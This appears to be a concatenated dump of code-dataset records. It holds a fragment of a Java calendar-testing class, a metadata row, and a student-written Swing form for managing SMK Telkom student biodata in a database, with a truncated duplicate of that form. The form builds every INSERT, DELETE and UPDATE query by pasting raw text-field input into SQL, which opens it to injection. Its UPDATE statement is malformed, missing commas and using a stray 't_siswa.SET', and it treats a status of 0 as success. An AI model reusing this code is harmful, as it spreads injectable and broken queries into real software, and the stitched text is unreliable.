// calendar.add(Calendar.DATE, -1);
// }
calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
calendar.set(Calendar.HOUR_OF_DAY, 0);
calendar.set(Calendar.MINUTE, 0);
calendar.set(Calendar.SECOND, 0);
out(calendar);
calendar.add(Calendar.DATE, -5*7);
//int currentMonday = (int) (calendar.getTimeInMillis()/1000);
//calendar.setTimeInMillis(currentMonday*1000);
//System.out.println("currentMonday="+currentMonday+" DAY_OF_WEEK="+calendar.get(Calendar.DAY_OF_WEEK)+" "+DateUtil.dayOfWeekName(calendar.get(Calendar.DAY_OF_WEEK)));
// int fiveWeeksAgo = currentMonday - 7*5*24*60*60;
// calendar.setTimeInMillis(fiveWeeksAgo*1000);
out(calendar);
calendar.set(Calendar.HOUR, 23);
calendar.set(Calendar.MINUTE, 59);
calendar.set(Calendar.SECOND, 59);
// int dayEnd = fiveWeeksAgo+24*60*60-1;
// calendar.setTimeInMillis(dayEnd*1000);
out(calendar);
//for (int i = 1; i <=100; i++) {
// calendar.add(Calendar.HOUR_OF_DAY, 1);
// out(calendar);
//}
//out(calendar);
}
public static void out(Calendar calendar) {
System.out.println( (int)(calendar.getTimeInMillis()/1000)+" "
+dateFromStamp(calendar.getTimeInMillis())
+" month="+(calendar.get(Calendar.MONTH)+1)+" DATE="+calendar.get(Calendar.DATE)+" DAY_OF_WEEK="+calendar.get(Calendar.DAY_OF_WEEK)
+" "+calendar.get(Calendar.HOUR_OF_DAY)+":"+calendar.get(Calendar.MINUTE)
+" "+DateUtil.dayOfWeekName(calendar.get(Calendar.DAY_OF_WEEK)));
}
public static String dateFromStamp(long stamp) {
Date date=new java.util.Date(stamp);
SimpleDateFormat full_sdf = new java.text.SimpleDateFormat("dd.MM.yy HH:mm");
//date.setTime(stamp_in_second*1000L);
return full_sdf.format(date);
}
}
/* Random rnd = new Random();
Map<String,Integer> pl = new HashMap<>(5);
pl.put("komiss77", 50); //hider chanct = 50
pl.put("40_1", 40);
pl.put("40_2", 40);
pl.put("60", 60);
pl.put("80_1", 80);
pl.put("80_2", 80);
//pl.put("10", 10);
//final ValueSortedMap<String, Integer> hiderChanceMap = new ValueSortedMap<>();
for (final String name : pl.keySet()) {
//рандом от 0 до шанса прятаться
//будут рассортированы в порядке увеличения шанса прятаться
//из начала мапы берём охотников, из конца - зайцев
int hideChance = rnd.nextInt(pl.get(name));
pl.replace(name, hideChance);
System.out.println(" --replace "+name+" : "+hideChance);
}
log("");
log("sorted:");
Stream<Map.Entry<String,Integer>> sorted = pl.entrySet().stream().sorted(Map.Entry.comparingByValue());
final List<String> sortedList = new ArrayList<>(pl.size());
for (Entry<String,Integer> entry : sorted.toList()) {
log(entry.getKey()+":"+entry.getValue());
sortedList.add(entry.getKey());
}
//while (!hiderChanceMap.isEmpty()) {
// Entry<String,Integer> entry = hiderChanceMap.pollFirstEntry();
// log(entry.getKey()+":"+entry.getValue());
//}
//for (final String name : hiderChanceMap.descendingKeySet()) {
//log(name+":"+hiderChanceMap.get(name));
//}
log("");
log("sortedList="+sortedList);
log("");
boolean seeker = true;
int hiderCount = 2;//hidersPerSeker;
String name;
while (!sortedList.isEmpty()) {
if (seeker) {
//name = sortedList.get(0);
name = sortedList.remove(0);
log(name+">> seeker");
seeker=false;
//System.out.println(" --add seeker list="+sortBySeekChancrList);
} else {
if (hiderCount>0) {
name = sortedList.remove(sortedList.size()-1);
log(name+">> hider");
hiderCount--;
//System.out.println(" --add hider list="+sortBySeekChancrList +" hiderCount="+hiderCount);
}
if (hiderCount==0) {
//System.out.println(" --hiderCount=0! seeker = true list="+sortBySeekChancrList);
hiderCount = 2;//hidersPerSeker;
seeker = true;
}
}
}*/
| 8,650 | 0.529357 | 0.498418 | 270 | 30.6 | 27.359932 | 167 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.714815 | false | false | 1 |
55ba587cc337386dcaf5e4b464feaf05ec725c5f | 33,517,924,828,080 | c0420cc82ebf45ec4802438fd0f7c14d3e1e509b | /src/frmMain.java | 920bcfbbceb2c989f535eacaa9afa5284ba24337 | []
| no_license | sitiafiyah/PBO-DB_modul10 | https://github.com/sitiafiyah/PBO-DB_modul10 | 709c9368f0b43262f333968aa098c4d0b7899e49 | 10e39fa5dc32cf10f9476e398d806b3f15b4cb1d | refs/heads/master | 2020-05-21T03:45:00.640000 | 2017-03-10T14:50:04 | 2017-03-10T14:50:04 | 84,567,158 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.MessageFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.JTable;
import javax.swing.Timer;
import javax.swing.table.DefaultTableModel;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author Siti Afiyah
*/
public class frmMain extends javax.swing.JFrame {
String nol_jam = ("");
String nol_menit = ("");
String nol_detik = ("");
/**
* Creates new form frmMain
*/
public frmMain() {
initComponents();
setTanggal();
setJam();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
buttonGroup1 = new javax.swing.ButtonGroup();
jPanel5 = new javax.swing.JPanel();
jLabel8 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
labeltanggal = new javax.swing.JLabel();
labeljam = new javax.swing.JLabel();
jPanel2 = new javax.swing.JPanel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
txtKelas = new javax.swing.JTextField();
txtEmail = new javax.swing.JTextField();
txtAlamat = new java.awt.TextArea();
rdLaki = new javax.swing.JRadioButton();
rdPerempuan = new javax.swing.JRadioButton();
jLabel1 = new javax.swing.JLabel();
jSeparator1 = new javax.swing.JSeparator();
jLabel12 = new javax.swing.JLabel();
jLabel13 = new javax.swing.JLabel();
txtNama = new javax.swing.JTextField();
txtTempatLahir = new javax.swing.JTextField();
Tanggal = new com.toedter.calendar.JDateChooser();
txtNIS = new javax.swing.JTextField();
jPanel4 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
tblData = new javax.swing.JTable();
jPanel3 = new javax.swing.JPanel();
btnAdd = new javax.swing.JButton();
btnDelete = new javax.swing.JButton();
Reset = new javax.swing.JButton();
btnRefresh = new javax.swing.JButton();
btnPrint = new javax.swing.JButton();
btnEdit = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
getContentPane().setLayout(null);
jPanel5.setBackground(new java.awt.Color(255, 51, 51));
jPanel5.setLayout(null);
jLabel8.setFont(new java.awt.Font("Tahoma", 0, 24)); // NOI18N
jLabel8.setForeground(new java.awt.Color(255, 255, 255));
jLabel8.setText("FORM BIODATA SISWA SMK TELKOM ");
jPanel5.add(jLabel8);
jLabel8.setBounds(48, 16, 480, 40);
jLabel9.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
jLabel9.setForeground(new java.awt.Color(255, 255, 255));
jLabel9.setText("The Real Informatic School");
jPanel5.add(jLabel9);
jLabel9.setBounds(50, 50, 240, 30);
labeltanggal.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
labeltanggal.setText("Tanggal");
jPanel5.add(labeltanggal);
labeltanggal.setBounds(950, 30, 120, 20);
labeljam.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
labeljam.setText("Jam");
jPanel5.add(labeljam);
labeljam.setBounds(950, 50, 100, 20);
getContentPane().add(jPanel5);
jPanel5.setBounds(0, 0, 1140, 90);
jPanel2.setBackground(new java.awt.Color(102, 255, 102));
jPanel2.setLayout(null);
jLabel2.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel2.setText("NIS");
jPanel2.add(jLabel2);
jLabel2.setBounds(20, 40, 50, 20);
jLabel3.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel3.setText("Tanggal Lahir");
jPanel2.add(jLabel3);
jLabel3.setBounds(20, 190, 110, 20);
jLabel4.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel4.setText("Jenis Kelamin");
jPanel2.add(jLabel4);
jLabel4.setBounds(20, 240, 110, 20);
jLabel5.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel5.setText("Kelas");
jPanel2.add(jLabel5);
jLabel5.setBounds(20, 280, 70, 20);
jLabel6.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel6.setText("Email");
jPanel2.add(jLabel6);
jLabel6.setBounds(20, 330, 60, 20);
jLabel7.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel7.setText("Alamat");
jPanel2.add(jLabel7);
jLabel7.setBounds(20, 380, 80, 20);
jPanel2.add(txtKelas);
txtKelas.setBounds(20, 300, 200, 30);
jPanel2.add(txtEmail);
txtEmail.setBounds(20, 350, 200, 30);
jPanel2.add(txtAlamat);
txtAlamat.setBounds(20, 400, 260, 100);
buttonGroup1.add(rdLaki);
rdLaki.setText("Laki-Laki");
jPanel2.add(rdLaki);
rdLaki.setBounds(20, 260, 90, 23);
buttonGroup1.add(rdPerempuan);
rdPerempuan.setText("Perempuan");
jPanel2.add(rdPerempuan);
rdPerempuan.setBounds(120, 260, 100, 23);
jLabel1.setFont(new java.awt.Font("Trebuchet MS", 0, 18)); // NOI18N
jLabel1.setText("ISIAN DATA SISWA");
jPanel2.add(jLabel1);
jLabel1.setBounds(80, 0, 180, 30);
jPanel2.add(jSeparator1);
jSeparator1.setBounds(0, 30, 330, 10);
jLabel12.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel12.setText("Nama");
jPanel2.add(jLabel12);
jLabel12.setBounds(20, 90, 50, 20);
jLabel13.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel13.setText("Tempat Lahir");
jPanel2.add(jLabel13);
jLabel13.setBounds(20, 140, 110, 20);
txtNama.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
txtNamaActionPerformed(evt);
}
});
jPanel2.add(txtNama);
txtNama.setBounds(20, 110, 200, 30);
jPanel2.add(txtTempatLahir);
txtTempatLahir.setBounds(20, 160, 200, 30);
jPanel2.add(Tanggal);
Tanggal.setBounds(20, 210, 200, 30);
jPanel2.add(txtNIS);
txtNIS.setBounds(20, 60, 200, 30);
getContentPane().add(jPanel2);
jPanel2.setBounds(10, 100, 330, 520);
jPanel4.setBackground(new java.awt.Color(102, 255, 102));
jPanel4.setLayout(null);
tblData.setBackground(new java.awt.Color(153, 255, 153));
tblData.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null}
},
new String [] {
"NIS", "NamaSiswa", "TempatLahir", "TanggalLahir", "JenisKelamin", "Kelas", "Email", "Alamat"
}
) {
Class[] types = new Class [] {
java.lang.Integer.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
});
tblData.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
tblDataMouseClicked(evt);
}
});
jScrollPane1.setViewportView(tblData);
jPanel4.add(jScrollPane1);
jScrollPane1.setBounds(20, 20, 750, 420);
getContentPane().add(jPanel4);
jPanel4.setBounds(350, 160, 790, 460);
jPanel3.setBackground(new java.awt.Color(102, 255, 102));
jPanel3.setLayout(null);
btnAdd.setBackground(new java.awt.Color(153, 153, 153));
btnAdd.setText("Save");
btnAdd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnAddActionPerformed(evt);
}
});
jPanel3.add(btnAdd);
btnAdd.setBounds(130, 10, 80, 30);
btnDelete.setBackground(new java.awt.Color(153, 153, 153));
btnDelete.setText("Delete");
btnDelete.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnDeleteActionPerformed(evt);
}
});
jPanel3.add(btnDelete);
btnDelete.setBounds(220, 10, 80, 30);
Reset.setBackground(new java.awt.Color(153, 153, 153));
Reset.setText("Clear");
Reset.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ResetActionPerformed(evt);
}
});
jPanel3.add(Reset);
Reset.setBounds(310, 10, 80, 30);
btnRefresh.setBackground(new java.awt.Color(153, 153, 153));
btnRefresh.setText("Refresh");
btnRefresh.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnRefreshActionPerformed(evt);
}
});
jPanel3.add(btnRefresh);
btnRefresh.setBounds(400, 10, 80, 30);
btnPrint.setBackground(new java.awt.Color(153, 153, 153));
btnPrint.setText("Print");
btnPrint.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnPrintActionPerformed(evt);
}
});
jPanel3.add(btnPrint);
btnPrint.setBounds(580, 10, 80, 30);
btnEdit.setBackground(new java.awt.Color(153, 153, 153));
btnEdit.setText("Edit");
btnEdit.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnEditActionPerformed(evt);
}
});
jPanel3.add(btnEdit);
btnEdit.setBounds(490, 10, 80, 30);
getContentPane().add(jPanel3);
jPanel3.setBounds(350, 100, 790, 50);
setBounds(0, 0, 1163, 667);
}// </editor-fold>//GEN-END:initComponents
private void tblDataMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_tblDataMouseClicked
int baris =tblData.getSelectedRow();
if (baris != -1){
txtNIS.setText(tblData.getValueAt(baris,0).toString());
txtNIS.setEditable(false);
txtNama.setText(tblData.getValueAt(baris,1).toString());
txtTempatLahir.setText(tblData.getValueAt(baris,2).toString());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = tblData.getValueAt(baris,3).toString();
Date tgl;
try {
tgl = dateFormat.parse(tanggal);
Tanggal.setDate(tgl);
}catch (ParseException ex){
Logger.getLogger(frmMain.class.getName()).log(Level.SEVERE, null,ex);
}
String JK = tblData.getValueAt(baris,4).toString();
if (JK.equals("Laki-laki")){
rdLaki.setSelected(true);
}else {
rdPerempuan.setSelected(true);
}
txtKelas.setText(tblData.getValueAt(baris,5).toString());
txtEmail.setText(tblData.getValueAt(baris,6).toString());
txtAlamat.setText(tblData.getValueAt(baris,7).toString());
}
}//GEN-LAST:event_tblDataMouseClicked
private void btnAddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnAddActionPerformed
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = dateFormat.format(Tanggal.getDate());
String JK = "";
if (rdLaki.isSelected()){
JK = "L";
}else{
JK = "P";
}
if (txtNIS.getText().equals("") ||
txtNama.getText().equals("") ||
txtTempatLahir.getText().equals("") ||
tanggal.equals("") ||
JK.equals("") ||
txtKelas.getText().equals("")||
txtEmail.getText().equals("") ||
txtAlamat.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Harap Lengkapi Data", "Error", JOptionPane.WARNING_MESSAGE);
}else{
String SQL ="INSERT INTO t_siswa (NIS,NamaSiswa,TempatLahir,TanggalLahir,JenisKelamin,Kelas,Email,Alamat)"
+ "VALUES('"+txtNIS.getText()+"','"+txtNama.getText()+"','"+txtTempatLahir.getText()+"','"+tanggal+"','"+JK+"',"
+ "'"+txtKelas.getText()+"','"+txtEmail.getText()+"','"+txtAlamat.getText()+"')";
int status = KoneksiDB.execute(SQL);
if(status == 1){
JOptionPane.showMessageDialog(this, "Data berhasil ditambahkan", "Sukses", JOptionPane.INFORMATION_MESSAGE);
selectData();
}else{
JOptionPane.showMessageDialog(this, "Data gagal ditambahkan", "Gagal", JOptionPane.WARNING_MESSAGE);
}
}
// TODO add your handling code here:
}//GEN-LAST:event_btnAddActionPerformed
private void btnDeleteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnDeleteActionPerformed
int baris = tblData.getSelectedRow();
if(baris != -1){
String NIS = tblData.getValueAt(baris, 0).toString();
String SQL = "DELETE FROM t_siswa WHERE NIS='"+NIS+"'";
int status = KoneksiDB.execute(SQL);
if(status==1){
JOptionPane.showMessageDialog(this, "Data berhasil dihapus", "Sukses", JOptionPane.INFORMATION_MESSAGE);
}else{
JOptionPane.showMessageDialog(this, "Data gagal dihapus", "Gagal", JOptionPane.WARNING_MESSAGE);
}
}else{
JOptionPane.showMessageDialog(this, "Pilih Baris Data Terlebih dahulu", "Error", JOptionPane.WARNING_MESSAGE);
}
// TODO add your handling code here:
}//GEN-LAST:event_btnDeleteActionPerformed
private void ResetActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ResetActionPerformed
txtNama.setText("");
txtNIS.setText("");
txtKelas.setText("");
buttonGroup1.clearSelection();
txtEmail.setText("");
txtAlamat.setText("");
txtTempatLahir.setText("");
// TODO add your handling code here:
}//GEN-LAST:event_ResetActionPerformed
private void btnRefreshActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnRefreshActionPerformed
selectData();
// TODO add your handling code here:
}//GEN-LAST:event_btnRefreshActionPerformed
private void btnPrintActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnPrintActionPerformed
MessageFormat header = new MessageFormat("Biodata Siswa SMK Telkom Malang");
MessageFormat footer = new MessageFormat("Page {0,number,integer} ");
try{
tblData.print(JTable.PrintMode.FIT_WIDTH, header, footer, true, null, true, null);
}catch(java.awt.print.PrinterException e){
System.err.format("Cannot print %s%n", e.getMessage());
}
// TODO add your handling code here:
}//GEN-LAST:event_btnPrintActionPerformed
private void btnEditActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnEditActionPerformed
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = dateFormat.format(Tanggal.getDate());
if ("".equals(txtNIS.getText())|| "".equals(txtAlamat.getText())||
"".equals(txtKelas.getText()) || "".equals(txtNama.getText()) || "".equals(txtEmail.getText())||
"".equals(txtTempatLahir.getText()) || "".equals(Tanggal.getDate())) {
JOptionPane.showMessageDialog(this, "Harap Lengkapi Data", "Error", JOptionPane.WARNING_MESSAGE);
}else{
String JK = "";
if (rdLaki.isSelected()){
JK = "L";
}else{
JK = "P";
}
String SQL = "UPDATE t_siswa.SET "
+ "NIS='"+txtNIS.getText()+"',"
+ "NamaSiswa='"+txtNama.getText()+"',"
+ "tglLahir='"+tanggal+"'"
+ "JenisKelamin='"+JK+"'"
+ "Kelas='"+txtKelas.getText()+"',"
+ "Email='" +txtEmail.getText()+"'"
+ "Alamat='"+txtAlamat.getText()+"'"
+ "tmpLahir='"+txtTempatLahir.getText()+"'"
+ "WHERE NIS='"+txtNIS.getText()+"'";
int status = KoneksiDB.execute(SQL);
if(status == 0){
JOptionPane.showMessageDialog(this, "Data berhasil diupdate", "Sukses", JOptionPane.INFORMATION_MESSAGE);
selectData();
}else{
JOptionPane.showMessageDialog(this, "Data gagal diupdate", "Gagal", JOptionPane.WARNING_MESSAGE);
}}
// TODO add your handling code here:
}//GEN-LAST:event_btnEditActionPerformed
private void txtNamaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_txtNamaActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_txtNamaActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new frmMain().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton Reset;
private com.toedter.calendar.JDateChooser Tanggal;
private javax.swing.JButton btnAdd;
private javax.swing.JButton btnDelete;
private javax.swing.JButton btnEdit;
private javax.swing.JButton btnPrint;
private javax.swing.JButton btnRefresh;
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JPanel jPanel5;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JLabel labeljam;
private javax.swing.JLabel labeltanggal;
private javax.swing.JRadioButton rdLaki;
private javax.swing.JRadioButton rdPerempuan;
private javax.swing.JTable tblData;
private java.awt.TextArea txtAlamat;
private javax.swing.JTextField txtEmail;
private javax.swing.JTextField txtKelas;
private javax.swing.JTextField txtNIS;
private javax.swing.JTextField txtNama;
private javax.swing.JTextField txtTempatLahir;
// End of variables declaration//GEN-END:variables
private void selectData() {
String kolom[] = {"NIS","NamaSiswa","TempatLahir","TanggalLahir","JenisKelamin","Kelas","Email","Alamat"};
DefaultTableModel dtm = new DefaultTableModel(null, kolom);
String SQL = "SELECT * FROM t_siswa";
ResultSet rs = KoneksiDB.executeQuery(SQL);
try{
while(rs.next()){
String NIS = rs.getString(1);
String NamaSiswa = rs.getString(2);
String TempatLahir = rs.getString(3);
String TanggalLahir = rs.getString(4);
String JenisKelamin = "";
if("L".equals(rs.getString(5))){
JenisKelamin = "Laki-Laki";
}else {
JenisKelamin = "Peremuan";
}
String Kelas = rs.getString(6);
String Email = rs.getString(7);
String Alamat = rs.getString(8);
String data[] = {NIS,NamaSiswa,TempatLahir,TanggalLahir,JenisKelamin,Kelas,Email,Alamat};
dtm.addRow(data);
}
}catch (SQLException ex){
Logger.getLogger(frmMain.class.getName()).log(Level.SEVERE, null, ex);
}
tblData.setModel(dtm);
}
public void setTanggal(){
java.util.Date skrg = new java.util.Date();
java.text.SimpleDateFormat kal = new java.text.SimpleDateFormat("dd/MM/yyyy");
labeltanggal.setText(kal.format(skrg));
}
public void setJam(){
ActionListener taskPerformer = new ActionListener(){
public void actionPerformed(ActionEvent evt){
Date dt = new Date();
int nilai_jam = dt.getHours();
int nilai_menit = dt.getMinutes();
int nilai_detik = dt.getSeconds();
if (nilai_jam <=9){
nol_jam = "0";
}
if (nilai_menit <= 9){
nol_menit = "0";
}
if(nilai_detik <= 9){
nol_detik = "0";
}
String jam = nol_jam + Integer.toString(nilai_jam);
String menit = nol_menit + Integer.toString(nilai_menit);
String detik = nol_detik + Integer.toString(nilai_detik);
labeljam.setText("Jam "+jam + ":" + menit + ":" + detik);
}
};
new Timer(100, taskPerformer).start();
}
}
| UTF-8 | Java | 24,644 | java | frmMain.java | Java | [
{
"context": "the template in the editor.\n */\n\n/**\n *\n * @author Siti Afiyah\n */\npublic class frmMain extends javax.swing.JFra",
"end": 664,
"score": 0.999868631362915,
"start": 653,
"tag": "NAME",
"value": "Siti Afiyah"
}
]
| null | []
|
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.MessageFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.JTable;
import javax.swing.Timer;
import javax.swing.table.DefaultTableModel;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author <NAME>
*/
public class frmMain extends javax.swing.JFrame {
String nol_jam = ("");
String nol_menit = ("");
String nol_detik = ("");
/**
* Creates new form frmMain
*/
public frmMain() {
initComponents();
setTanggal();
setJam();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
buttonGroup1 = new javax.swing.ButtonGroup();
jPanel5 = new javax.swing.JPanel();
jLabel8 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
labeltanggal = new javax.swing.JLabel();
labeljam = new javax.swing.JLabel();
jPanel2 = new javax.swing.JPanel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
txtKelas = new javax.swing.JTextField();
txtEmail = new javax.swing.JTextField();
txtAlamat = new java.awt.TextArea();
rdLaki = new javax.swing.JRadioButton();
rdPerempuan = new javax.swing.JRadioButton();
jLabel1 = new javax.swing.JLabel();
jSeparator1 = new javax.swing.JSeparator();
jLabel12 = new javax.swing.JLabel();
jLabel13 = new javax.swing.JLabel();
txtNama = new javax.swing.JTextField();
txtTempatLahir = new javax.swing.JTextField();
Tanggal = new com.toedter.calendar.JDateChooser();
txtNIS = new javax.swing.JTextField();
jPanel4 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
tblData = new javax.swing.JTable();
jPanel3 = new javax.swing.JPanel();
btnAdd = new javax.swing.JButton();
btnDelete = new javax.swing.JButton();
Reset = new javax.swing.JButton();
btnRefresh = new javax.swing.JButton();
btnPrint = new javax.swing.JButton();
btnEdit = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
getContentPane().setLayout(null);
jPanel5.setBackground(new java.awt.Color(255, 51, 51));
jPanel5.setLayout(null);
jLabel8.setFont(new java.awt.Font("Tahoma", 0, 24)); // NOI18N
jLabel8.setForeground(new java.awt.Color(255, 255, 255));
jLabel8.setText("FORM BIODATA SISWA SMK TELKOM ");
jPanel5.add(jLabel8);
jLabel8.setBounds(48, 16, 480, 40);
jLabel9.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
jLabel9.setForeground(new java.awt.Color(255, 255, 255));
jLabel9.setText("The Real Informatic School");
jPanel5.add(jLabel9);
jLabel9.setBounds(50, 50, 240, 30);
labeltanggal.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
labeltanggal.setText("Tanggal");
jPanel5.add(labeltanggal);
labeltanggal.setBounds(950, 30, 120, 20);
labeljam.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
labeljam.setText("Jam");
jPanel5.add(labeljam);
labeljam.setBounds(950, 50, 100, 20);
getContentPane().add(jPanel5);
jPanel5.setBounds(0, 0, 1140, 90);
jPanel2.setBackground(new java.awt.Color(102, 255, 102));
jPanel2.setLayout(null);
jLabel2.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel2.setText("NIS");
jPanel2.add(jLabel2);
jLabel2.setBounds(20, 40, 50, 20);
jLabel3.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel3.setText("Tanggal Lahir");
jPanel2.add(jLabel3);
jLabel3.setBounds(20, 190, 110, 20);
jLabel4.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel4.setText("Jenis Kelamin");
jPanel2.add(jLabel4);
jLabel4.setBounds(20, 240, 110, 20);
jLabel5.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel5.setText("Kelas");
jPanel2.add(jLabel5);
jLabel5.setBounds(20, 280, 70, 20);
jLabel6.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel6.setText("Email");
jPanel2.add(jLabel6);
jLabel6.setBounds(20, 330, 60, 20);
jLabel7.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel7.setText("Alamat");
jPanel2.add(jLabel7);
jLabel7.setBounds(20, 380, 80, 20);
jPanel2.add(txtKelas);
txtKelas.setBounds(20, 300, 200, 30);
jPanel2.add(txtEmail);
txtEmail.setBounds(20, 350, 200, 30);
jPanel2.add(txtAlamat);
txtAlamat.setBounds(20, 400, 260, 100);
